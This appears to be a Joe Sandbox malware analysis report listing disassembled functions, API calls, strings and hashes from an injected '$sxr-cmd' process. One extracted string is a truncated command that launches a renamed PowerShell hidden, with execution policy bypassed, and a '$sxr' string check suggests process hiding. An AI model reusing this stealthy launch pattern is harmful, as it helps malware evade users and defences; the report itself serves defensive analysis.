Opcode ID: 68bb012136afad4bc4269743a11f9cffbd7fa22278cea90903a856b678ea36e9
Instruction ID: c617b5fa39b4f0701bb102af848a99ccec870b48395c96587fd76f3544e639cd
Opcode Fuzzy Hash: 68bb012136afad4bc4269743a11f9cffbd7fa22278cea90903a856b678ea36e9
Instruction Fuzzy Hash: 0A51A521A09E9296EB90BB119444279EA99BF4DBB0F884134DD2E277D5DF3DE44C8270

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71380EC14 Relevance: 10.6, APIs: 7, Instructions: 121COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF71380EC73

Part of subcall function 00007FF7137ECA40: memset.MSVCRT ref: 00007FF7137ECAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF71380EE0A

Part of subcall function 00007FF7137F081C: GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF7137F084E

SetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF71380ECD5
SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF71380ECED
SetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF71380ED9C
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF71380EDAC
SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF71380EDC8

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Error$CurrentDirectoryModememset$EnvironmentLastVariable
String ID:
API String ID: 920682188-0
Opcode ID: bc14161cc29778c9355453191e93d5478ea0026767946b5047b0b5c87387b74a
Instruction ID: 36fb76958ea05dd227e299bc9ae3880a8341d908e3d9c06ad381e3d08bd00ddb
Opcode Fuzzy Hash: bc14161cc29778c9355453191e93d5478ea0026767946b5047b0b5c87387b74a
Instruction Fuzzy Hash: A0518C32705F818AEB61EF20D8902E8B7A4FB88B94F848035CA4D5B754EF3DD659C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137EDF60 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000000,00000000,00007FF7137ECEAA), ref: 00007FF7137EDFB8
RtlFreeHeap.NTDLL ref: 00007FF7137EDFCC
_setjmp.MSVCRT ref: 00007FF7137EE03E

Strings

C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function VO, xrefs: 00007FF7137EE00B

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$FreeProcess_setjmp
String ID: C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function VO
API String ID: 777023205-3145142378
Opcode ID: bbf52200d93ced3108c92f56beefed0410d329e72fd007d8cbedcbd411aea915
Instruction ID: fd14ea86407f65c5095dc6599435bcc25996b32e74b28e69a313e21c64dcaf2c
Opcode Fuzzy Hash: bbf52200d93ced3108c92f56beefed0410d329e72fd007d8cbedcbd411aea915
Instruction Fuzzy Hash: 70515B7094DE42C9EB90AB15A880578F6A0BF48770FE44A35D94E72764DF3EA46CC630

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137EF5D7 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 91COMMON

Download Yara Rule

APIs

iswspace.MSVCRT ref: 00007FF7137EF1BA
wcschr.MSVCRT ref: 00007FF7137EF1E7
iswdigit.MSVCRT ref: 00007FF7137EF1FF
iswdigit.MSVCRT ref: 00007FF7137EF2BB

Strings

=,;, xrefs: 00007FF7137EF1CE
), xrefs: 00007FF7137EF18C

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: iswdigit$iswspacewcschr
String ID: )$=,;
API String ID: 1959970872-2167043656
Opcode ID: e8a5d63c360e4c13ef561f3ce3dd80187a3c2d8689f5c743dd181e811bfffbc3
Instruction ID: 3d5a514690a5cd4ce6a3bbbd743c254b254abf24bdfd7b369cbca0701d709c15
Opcode Fuzzy Hash: e8a5d63c360e4c13ef561f3ce3dd80187a3c2d8689f5c743dd181e811bfffbc3
Instruction Fuzzy Hash: 3C41CF65E08E1786FBE47B05A484279F6A0BF19771FC25231C98D329A0DF3CA46D8630

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7138091B8 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF7138091FF
wcsrchr.MSVCRT ref: 00007FF713809232
_wcsnicmp.MSVCRT ref: 00007FF713809285

Strings

Null environment, xrefs: 00007FF7138091F1
%s, xrefs: 00007FF713809298
CMD Internal Error %s, xrefs: 00007FF7138091F8

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: _wcsnicmpfprintfwcsrchr
String ID: CMD Internal Error %s$%s$Null environment
API String ID: 3625580822-2781220306
Opcode ID: 9798a54e4fc5b33e689a2c9d89df2130ab496e8d723cbfb9f498f453c0192420
Instruction ID: 4c5f797e4aaab1a902d134f7b0a9fcd0ec206b06169695e26bf4f1578ba7e554
Opcode Fuzzy Hash: 9798a54e4fc5b33e689a2c9d89df2130ab496e8d723cbfb9f498f453c0192420
Instruction Fuzzy Hash: EC31B721A08E4685FBD47B52A5401B9F2A4BB45BB4F844130DD2D3B7A5DE3EE46DC330

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5B98A4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000002155A5B9929
GetLastError.KERNEL32 ref: 000002155A5B9937
LoadLibraryExW.KERNEL32 ref: 000002155A5B9961
FreeLibrary.KERNEL32 ref: 000002155A5B99A7
GetProcAddress.KERNEL32 ref: 000002155A5B99B3

Strings

api-ms-, xrefs: 000002155A5B9949

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: b9fc0f4bc552b3b3a9613ae8c221c9ea50584cfdf87ea6a2e8fae9693c69d0a1
Instruction ID: b8076277a65db6ee59e59e4c8e143cba1ad5d806929f350c7b04949a90788a64
Opcode Fuzzy Hash: b9fc0f4bc552b3b3a9613ae8c221c9ea50584cfdf87ea6a2e8fae9693c69d0a1
Instruction Fuzzy Hash: 3E31C771312E68F5FE51DB12A448FE96295FBE6BA9F990555FD1E07344EF38C0488310

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5C1C3C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000002155A5C1C6D
GetLastError.KERNEL32 ref: 000002155A5C1C79
CloseHandle.KERNEL32 ref: 000002155A5C1C91
CreateFileW.KERNEL32 ref: 000002155A5C1CBC
WriteConsoleW.KERNEL32 ref: 000002155A5C1CDB

Strings

CONOUT$, xrefs: 000002155A5C1C9D

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: f8e4fb7eb8850db5dfc64f60f3363a5c279c997be71987712cd29a709cc65782
Instruction ID: 608acbce308d45dc818a1acd36c121e4531e78bb6e5feb4adca1b05f3d9a0338
Opcode Fuzzy Hash: f8e4fb7eb8850db5dfc64f60f3363a5c279c997be71987712cd29a709cc65782
Instruction Fuzzy Hash: 4E119332311F50D6FB508B42F868B99A6A1F7E8BE8F804254FA1D87798DF3CC4488740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F1FAC Relevance: 9.3, APIs: 6, Instructions: 260COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF7137F200F
wcsspn.MSVCRT ref: 00007FF7137F2226

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: memsetwcsspn
String ID:
API String ID: 3809306610-0
Opcode ID: dc78cd9d6f231a5cf0425b770118c4c3823133ec0f4f9eb011d5dfda8e43b70b
Instruction ID: cf77d447f2d09ef8b22e3ed108edfa85b6b4991d45f691c0f4aa8bcab8e14edb
Opcode Fuzzy Hash: dc78cd9d6f231a5cf0425b770118c4c3823133ec0f4f9eb011d5dfda8e43b70b
Instruction Fuzzy Hash: DFB1E166A08F4686EB90EF15E490279E7A4FB48BA0FC18031DA5E63790DF7DD84DC320

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5B5CB0 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002155A5B5CEB
GetThreadContext.KERNEL32 ref: 000002155A5B5E55

Part of subcall function 000002155A5B5AE0: GetCurrentThreadId.KERNEL32 ref: 000002155A5B5AE4

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: a98e7eacdc5a578abce32cb4d6227d29aaf631d1a1811a31ba6b33f7cbd6c913
Instruction ID: c9cf3e6db11516b911fe23d97aa86dd2a3aef80fbbf3b71b7bd4725a1779a513
Opcode Fuzzy Hash: a98e7eacdc5a578abce32cb4d6227d29aaf631d1a1811a31ba6b33f7cbd6c913
Instruction Fuzzy Hash: 2AD1EC36209F58D1EE308B1AE49479AB7A1F3D9B89F500152EACE47BA5CF3CC545CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF713808C18 Relevance: 9.1, APIs: 6, Instructions: 145COMMON

Download Yara Rule

APIs

iswdigit.MSVCRT ref: 00007FF713808C85
iswdigit.MSVCRT ref: 00007FF713808CA2
wcstol.MSVCRT ref: 00007FF713808CBF
wcschr.MSVCRT ref: 00007FF713808CF0
wcschr.MSVCRT ref: 00007FF713808D16
wcschr.MSVCRT ref: 00007FF713808D6A

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: wcschr$iswdigit$wcstol
String ID:
API String ID: 3841054028-0
Opcode ID: c8e66ebebd8934775a16318260a5522f8ecbc9a094cbada97be1ab4c749f477c
Instruction ID: 4eb5568065147ee3debd9084fc9a454ccca16ff2bc5d6be8c51cc69056defc85
Opcode Fuzzy Hash: c8e66ebebd8934775a16318260a5522f8ecbc9a094cbada97be1ab4c749f477c
Instruction Fuzzy Hash: F851F827A14D5286E7A0AB1594101B9BAE1FF687B0FC48331DE6D572D4DF3EE4A9C230

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E5984 Relevance: 9.1, APIs: 6, Instructions: 142COMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF713803687
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,00000000,00008000,?,00000001,00007FF7137E260D), ref: 00007FF7138036A6
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,00000000,00008000,?,00000001,00007FF7137E260D), ref: 00007FF7138036EB
_get_osfhandle.MSVCRT ref: 00007FF713803703
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,00000000,00008000,?,00000001,00007FF7137E260D), ref: 00007FF713803722

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Console$Write_get_osfhandle$Mode
String ID:
API String ID: 1066134489-0
Opcode ID: 989124be994080129bedea4b9ae1d4c283fccc3ce7243235c73d6b8a7e8f68c3
Instruction ID: 744d76ec5278e845867b5c754966453a7695a5e4afc78ea5959d55017834abb0
Opcode Fuzzy Hash: 989124be994080129bedea4b9ae1d4c283fccc3ce7243235c73d6b8a7e8f68c3
Instruction Fuzzy Hash: CA51C561B08A4287EBA46F11944057AE6D0FB447B0F884135DE5E27791DF7EE45C8B30

Uniqueness

Uniqueness Score: -1.00%

Function 000002155A5B3150 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002155A5B3173
HeapAlloc.KERNEL32 ref: 000002155A5B3186
StrCmpNIW.SHLWAPI ref: 000002155A5B3201
GetProcessHeap.KERNEL32 ref: 000002155A5B3267
HeapFree.KERNEL32 ref: 000002155A5B3275

Strings

$sxr, xrefs: 000002155A5B31FA

Memory Dump Source

Source File: 0000000D.00000002.3356177437.000002155A5B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002155A5B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2155a5b0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: $sxr
API String ID: 756756679-21942930
Opcode ID: a56984c12cd63be28461b1521c27a5cf1022700db7ead991f356a21bfefe692f
Instruction ID: 619a959f1b9d8a5fa069152063c5ad6af2ed03f60af1f8ab0ee205dcea0b9884
Opcode Fuzzy Hash: a56984c12cd63be28461b1521c27a5cf1022700db7ead991f356a21bfefe692f
Instruction Fuzzy Hash: 6D31F631701F28E6FF10DF16E448BA5A3A2FBA5B99F844060BF4A13B54EF38C4698700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F34A0 Relevance: 9.1, APIs: 6, Instructions: 84COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7137F3578: _get_osfhandle.MSVCRT ref: 00007FF7137F3584
Part of subcall function 00007FF7137F3578: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF7137E32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF7137F359C
Part of subcall function 00007FF7137F3578: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF7137E32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF7137F35C3
Part of subcall function 00007FF7137F3578: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF7137E32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF7137F35D9
Part of subcall function 00007FF7137F3578: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF7137E32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF7137F35ED
Part of subcall function 00007FF7137F3578: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF7137E32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF7137F3602

AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,00000000,00007FF7137F3491,?,?,00000000,00007FF713804420), ref: 00007FF7137F3514
_get_osfhandle.MSVCRT ref: 00007FF7137F3522
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,00000000,00007FF7137F3491,?,?,00000000,00007FF713804420), ref: 00007FF7137F3541
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,00000000,00007FF7137F3491,?,?,00000000,00007FF713804420), ref: 00007FF7137F355E

Part of subcall function 00007FF7137F36EC: _get_osfhandle.MSVCRT ref: 00007FF7137F3715
Part of subcall function 00007FF7137F36EC: WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF7137F3770
Part of subcall function 00007FF7137F36EC: WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137F3791

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: LockShared$_get_osfhandle$AcquireConsoleFileReleaseWrite$ByteCharHandleModeMultiTypeWide
String ID:
API String ID: 4057327938-0
Opcode ID: 88fe3d8dcb1b39454ed35e4d5bc75a190f5634e19a67efeee45e7c5e6c767e8c
Instruction ID: d1142fe06e808366a7143ad41a85d06b3662aff58697aaa5405b928e2d42b71c
Opcode Fuzzy Hash: 88fe3d8dcb1b39454ed35e4d5bc75a190f5634e19a67efeee45e7c5e6c767e8c
Instruction Fuzzy Hash: E1319021A08E028AF7D1BB25948007DFAA8FF8DB60FC44135DA5E63795DE3DE81C8630

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71380BE30 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7137ED3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF7137ED46E
Part of subcall function 00007FF7137ED3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF7137ED485
Part of subcall function 00007FF7137ED3F0: wcschr.MSVCRT ref: 00007FF7137ED4EE
Part of subcall function 00007FF7137ED3F0: iswspace.MSVCRT ref: 00007FF7137ED54D
Part of subcall function 00007FF7137ED3F0: wcschr.MSVCRT ref: 00007FF7137ED569
Part of subcall function 00007FF7137ED3F0: wcschr.MSVCRT ref: 00007FF7137ED58C

_wcsicmp.MSVCRT ref: 00007FF71380BE98
_wcsicmp.MSVCRT ref: 00007FF71380BEC5
_wcsicmp.MSVCRT ref: 00007FF71380BEFA

Strings

KEYS, xrefs: 00007FF71380BEE2
LIST, xrefs: 00007FF71380BEF0
OFF, xrefs: 00007FF71380BEBB, 00007FF71380BEDB

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: _wcsicmpwcschr$Heap$AllocProcessiswspace
String ID: KEYS$LIST$OFF
API String ID: 411561164-4129271751
Opcode ID: a121d4422169a03a8948a6a352fe20c9f9ce11d79d327e7c837c8152995131a9
Instruction ID: fd2f1cd367d4068c43cbe6116a79a3d14c471cfc0df233315699be19afadd3b7
Opcode Fuzzy Hash: a121d4422169a03a8948a6a352fe20c9f9ce11d79d327e7c837c8152995131a9
Instruction Fuzzy Hash: 65216220A08E0386FBD5BF25A441175E6A1EF487B0FC49631CA5E672E4EE7ED46C8630

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F01B8 Relevance: 9.1, APIs: 6, Instructions: 57COMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF7137F01C4
GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF7137FE904,?,?,?,?,00000000,00007FF7137F3491,?,?,00000000,00007FF713804420), ref: 00007FF7137F01D6
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,00007FF7137FE904,?,?,?,?,00000000,00007FF7137F3491,?,?,00000000,00007FF713804420), ref: 00007FF7137F0212
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,00007FF7137FE904,?,?,?,?,00000000,00007FF7137F3491,?,?,00000000,00007FF713804420), ref: 00007FF7137F0228
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,00007FF7137FE904,?,?,?,?,00000000,00007FF7137F3491,?,?,00000000,00007FF713804420), ref: 00007FF7137F023C
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,00007FF7137FE904,?,?,?,?,00000000,00007FF7137F3491,?,?,00000000,00007FF713804420), ref: 00007FF7137F0251

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: LockShared$AcquireConsoleFileHandleModeReleaseType_get_osfhandle
